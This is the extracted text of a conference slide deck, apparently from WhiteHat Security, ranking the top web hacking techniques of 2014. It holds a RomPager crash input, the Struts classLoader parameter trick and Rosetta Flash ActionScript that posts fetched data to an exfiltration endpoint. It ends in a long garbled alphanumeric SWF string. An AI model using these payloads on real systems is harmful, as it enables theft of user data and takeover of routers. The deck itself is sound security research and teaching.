Top 10 Web Hacking Techniques of 2014

Johnathan Kuskos
Manager
WhiteHat Security / Threat Research Center
@JohnathanKuskos

Matt Johansen
Senior Manager
WhiteHat Security / Threat Research Center
@mattjay
About the Top 10

“Every year the security community produces a stunning amount of new Web hacking techniques that are published in various white papers, blog posts, magazine articles, mailing list emails, conference presentations, etc. Within the thousands of pages are the latest ways to attack websites, web browsers, web proxies, and their mobile platform equivalents. Beyond individual vulnerabilities with CVE numbers or system compromises, here we are solely focused on new and creative methods of web-based attack.”

- Jeremiah Grossman
Previous Years

2007: 65 NEW TECHNIQUES
- XSS VULNS
- IN COMMON SHOCKWAVE FILES

2008: 70 NEW TECHNIQUES
- GIRAF
- (GIF + JAR)

2009: 80 NEW TECHNIQUES
- CREATING A ROUGE CA CERTIFICATE

2010: 69 NEW TECHNIQUES
- ‘PADDING ORACLE’ CRYPTO ATTACK

2011: 51 NEW TECHNIQUES
- BEAST

2012: 56 NEW TECHNIQUES
- CRIME

2013: 31 NEW TECHNIQUES
- mXSS (MUTATION)
# 2014 Top 10 Web Hacks

1. **Heartbleed**
2. **ShellShock**
3. **POODLE**
4. **Rosetta Flash**
5. **Misfortune Cookie**
6. **Hacking PayPal Accounts with 1 Click**
7. **Google Two-Factor Authentication Bypass**
8. **Apache Struts ClassLoader Manipulation Remote Code Execution**
9. **Facebook Hosted DDoS with notes app**
10. **Covert Timing Channels based on HTTP Cache Headers**

---

<table>
<thead>
<tr>
<th>Protocol</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>DNS</td>
<td>Standard query A download340.avast.com</td>
</tr>
<tr>
<td>ICMP</td>
<td>Redirect (Redirect for host)</td>
</tr>
<tr>
<td>DNS</td>
<td>Standard query A 82.192.95.92</td>
</tr>
<tr>
<td>DNS</td>
<td>Standard query response A 82.192.95.92</td>
</tr>
<tr>
<td>TCP</td>
<td>55552 &gt; http [FIN, ACK] Seq=200 Ack=1154 Win=16</td>
</tr>
<tr>
<td>TCP</td>
<td>http &gt; 55555 [SYN, ACK] Seq=0 Ack=1 Win=5840 Le</td>
</tr>
<tr>
<td>TCP</td>
<td>http &gt; 55555 [SYN, ACK] Seq=0 Ack=1 Win=5840 Le</td>
</tr>
<tr>
<td>TCP</td>
<td>55555 &gt; http [ACK] Seq=1 Ack=1 Win=17520 Len=0</td>
</tr>
<tr>
<td>TCP</td>
<td>[TCP Dup ACK 19522] 55555 &gt; http [ACK] Seq=1</td>
</tr>
<tr>
<td>TCP</td>
<td>http &gt; 55552 [ACK] Seq=1154 Ack=201 Win=6912 Le</td>
</tr>
<tr>
<td>TCP</td>
<td>[TCP Dup ACK 19524] http &gt; 55552 [ACK] Seq=11</td>
</tr>
<tr>
<td>TCP</td>
<td>[TCP segment of a reassembled PDU]</td>
</tr>
<tr>
<td>TCP</td>
<td>[TCP Retransmission] 55555 &gt; http [PSH, ACK] Seq=1</td>
</tr>
<tr>
<td>HTTP</td>
<td>POST /cgi-bin/iavs4stats.cgi HTTP/1.1 (iavs4/s)</td>
</tr>
<tr>
<td>TCP</td>
<td>[TCP Retransmission] [TCP segment of a reassemble]</td>
</tr>
<tr>
<td>TCP</td>
<td>http &gt; 55555 [ACK] Seq=1 Ack=206 Win=6912 Len=0</td>
</tr>
<tr>
<td>TCP</td>
<td>[TCP Dup ACK 19531] http &gt; 55555 [ACK] Seq=1</td>
</tr>
<tr>
<td>TCP</td>
<td>http &gt; 55555 [ACK] Seq=1 Ack=1104 Win=8832 Len=1</td>
</tr>
<tr>
<td>TCP</td>
<td>[TCP Dup ACK 19533] http &gt; 55555 [ACK] Seq=1</td>
</tr>
<tr>
<td>HTTP</td>
<td>HTTP/1.1 204 No Content</td>
</tr>
<tr>
<td>TCP</td>
<td>[TCP Retransmission] HTTP/1.1 204 No Content</td>
</tr>
<tr>
<td>TCP</td>
<td>55555 &gt; http [RST, ACK] Seq=1104 Ack=93 Win=0 L</td>
</tr>
<tr>
<td>TCP</td>
<td>55555 &gt; http [RST, ACK] Seq=1104 Ack=93 Win=0 L</td>
</tr>
<tr>
<td>TCP</td>
<td>55553 &gt; mtgp [SYN] Seq=0 Win=8192 Len=0 MSS=146</td>
</tr>
<tr>
<td>ICMP</td>
<td>Redirect (Redirect for host)</td>
</tr>
<tr>
<td>TCP</td>
<td>55553 &gt; mtgp [SYN] Seq=0 Win=8192 Len=0 MSS=146</td>
</tr>
</tbody>
</table>

---

D (616 bytes)
Dst: Azurewsv 43:90:de (00:15:af:43:90:de)
9), Dst: 192.168.1.6 (192.168.1.6)
Port: 55400 (55400), Seq: 1, Ack: 1, Len: 23

---

C ... &0...E.
Covert Timing Channels based on HTTP Cache Headers

“A covert channel is a path that can be used to transfer information in a way not intended by the system’s designers (CWE-514)

A covert storage channel transfers information through the setting of bits by one program and the reading of those bits by another (CWE-515)

Covert timing channels convey information by modulating some aspect of system behavior over time, so that the program receiving the information can observe system behavior and infer protected information (CWE-385)”

Denis Kolegov, Oleg Broslavsky, Nikita Oleksov

http://www.slideshare.net/dnkolegov/wh102014
Facebook Hosted DDoS with notes app

“Facebook Notes allows users to include <img> tags. Whenever a <img> tag is used, Facebook crawls the image from the external server and caches it. Facebook will only cache the image once however using random get parameters the cache can be by-passed and the feature can be abused to cause a huge HTTP GET flood.”

Chaman Thapa, aka chr13
Apache Struts ClassLoader Manipulation RCE

“A remote command execution vulnerability in Apache Struts versions 1.x (<= 1.3.10) and 2.x (< 2.3.16.2). In Struts 1.x the problem is related with the ActionForm bean population mechanism while in the case of Struts 2.x the vulnerability is due to the ParametersInterceptor. Both allow access to 'class' parameter that is directly mapped to getClass() method and allows ClassLoader manipulation. As a result, this can allow remote attackers to execute arbitrary Java code via crafted parameters.”

class.classLoader -> class['classLoader']

Fixed by adding the following regex to struts excludeParams:
(.*/\^\.*\[(.*)\]((c|C)lass\(\.|\('\'))\]\}\}\}).*

Peter Magnusson, Przemyslaw Celej
https://cwiki.apache.org/confluence/display/WW/S2-020
Google Two-Factor Authentication Bypass

“The attack actually started with my cell phone provider, which somehow allowed some level of access or social engineering into my Google account, which then allowed the hackers to receive a password reset email from Instagram, giving them control of the account.”

Anonymous Hacker
“An attacker can conduct a targeted CSRF attack against a PayPal user and take full control over his account. All requests are then forgeable and include but are not limited to:

1. Add/Remove/Confirm Email address
2. Add fully privileged users to business account
3. Change Security Questions
4. Change Billing/Shipping Address
5. Change Payment Methods
6. Change User Settings (Notifications/Mobile settings)

…and obviously, any other functionality where proper CSRF protection is not present.”

Yasser Ali
http://yasserali.com/hacking-paypal-accounts-with-one-click/
“Researchers from Check Point’s Malware and Vulnerability Research Group uncovered this critical vulnerability present on millions of residential gateway (SOHO router) devices from different models and makers. It has been assigned the CVE-2014-9222 identifier. This severe vulnerability allows an attacker to remotely take over the device with administrative privileges.”

Lior Oppenheim, Shahar Tal
http://mis.fortunecook.ie/
Background: TR-069

Scope of CPE WAN Management Protocol (CWMP):
ACS Southbound Interface

OSS/BSS

Policy

Call Center

Auto-Configuration Server (ACS)

ACS Northbound Interface

Managed LAN Device

Managed LAN Device

Managed Internet Gateway Device

Managed LAN Device

WhiteHat Security

RSA Conference 2015

#RSAC
**ACS**

- Single Point of Failure
- ACS very powerful as required by TR-069
- Port 7547

---

**Table 4: Top 10 TCP ports** — We scanned 2.15 million hosts on TCP ports 0–9175 and observed what fraction were listening on each port. We saw a surprising number of open ports associated with embedded devices, such as ports 7547 (CWMP) and 3479 (2-Wire RPC).
TR-069 Diversity

Connection Request Server Technologies

- RomPager: 52%
- Apache: 15%
- gSOAP: 19%
- KTT-SOA: 8%
- mini_httpd: 6%
Get to the hack already!

- HTTP Header Fuzzing RomPager
- `{Authorization: Digest username='a'*600}`
- Router Crashes

Unprotected String Copy
TLB refill exception occurred!

EPC = 0x61616161
SR = 0x10000003
CR = 0x50801808
$RA = 0x00000000
Bad Virtual Address = 0x61616160
UTLB_TLBL ..\core\sys_isr.c:267 sysreset()

$r0 = 0x00000000 $at = 0x80350000 $v0 = 0x00000000 $v1 = 0x00000001
$a0 = 0x00000001 $a1 = 0x805D7AF8 $a2 = 0xFFFFFFFF $a3 = 0x00000000
$t0 = 0x8001FF80 $t1 = 0xFFFFFFFF $t2 = 0x804A8F38 $t3 = 0x804A9E47
$t4 = 0x804A9460 $t5 = 0x804A8A60 $t6 = 0x804A9D00 $t7 = 0x00000040
$s0 = 0x804A8A60 $s1 = 0x8040C114 $s2 = 0x805E2BF8 $s3 = 0x80042A70
$s4 = 0x00000001 $s5 = 0x8000007C $s6 = 0x8040E5FC $s7 = 0x00000000
$t8 = 0x804A9E48 $t9 = 0x00000000 $k0 = 0x61616160 $k1 = 0x8000007C
$gp = 0x8040F004 $sp = 0x805E2B90 $fp = 0x805E2BF8 $ra = 0x8003A3D0

00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

805e2bf8: 80 5e 2c 28 80 04 2a 70 80 40 f8 ac 80 40 f3 e0 .^,(...*p.@.
805e2c08: 80 40 e5 fc 00 00 00 00 80 40 e6 0c 80 48 4e 29 @........0.
805e2c18: 00 55 54 4c 42 5f 54 4c 42 4c 00 ac 00 00 00 00 .UTLB_TLBL.
805e2c28: 80 5e 2c 40 80 10 16 0d 80 40 f3 e0 00 00 00 00 .^,@......0.
RomPager uses cookies
Cookie array is pre-allocated memory
10 40 byte cookies
C0, C1, C2 etc…
No more memory variations between firmwares
Misfortune Cookie Remediation

- Most people will just need to wait for manufacturer fix
- Technical people can flash firmware (DD-WRT, etc.)
- Don’t buy these:
Rosetta Flash

“Rosetta Flash [is] a tool for converting any SWF file to one composed of only alphanumerical characters in order to abuse JSONP endpoints, making a victim perform arbitrary requests to the domain with the vulnerable endpoint and exfiltrate potentially sensitive data, not limited to JSONP responses, to an attacker-controlled site. This is a CSRF bypassing Same Origin Policy.”

Michele Spagnuolo
https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/
What is it?

Rosetta Flash is a tool that converts normal binary SWF files and returns a compressed alphanumeric only equivalent.
JSONP

- Widely used
- callback parameter in URL
- Only accepts [a-zA-Z], _, and . as valid

Ordinary SWF Binary
Invalid JSONP callback
JSONP

Just a handful of sites used JSONP and were vulnerable:

- Google
- Yahoo!
- YouTube
- LinkedIn
- Twitter
- Instagram
- Flickr
- eBay
- Mail.ru
- Baidu
- Tumblr
- Olark
SWF Header Formats

Uncompressed

Version
Signature
FileLength
Frame Size
Nbites, Xmin, Xmax,
Ymin, Ymax
FPS
Frame Count

zlib-Compressed

Version
Signature
FileLength
zlib data
ADLER32 checksum

LZMA-Compressed

Version
Signature
FileLength
LZMA data

#RSAC
Faking valid zlib data

- First 2 bytes of zlib stream
- Huffman Coding: Bit reduction
- DEFLATE: Duplicate string elimination LZ77 algorithm
- ALDER32 Checksum
class X {

    static var app : X;

    function X(mc) { 
        var r:LoadVars = new LoadVars();
        r.onData = function(src:String) {
            var w:LoadVars = new LoadVars();
            w.x = src;
            w.sendAndLoad(_,exfiltrate, w, "POST");
        }
        r.load(_.url, r, "GET");
    }

    // entry point
    static function main(mc) {
        app = new X(mc);
    }
}

"CWSM1K16HD0U0P8IZunnxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx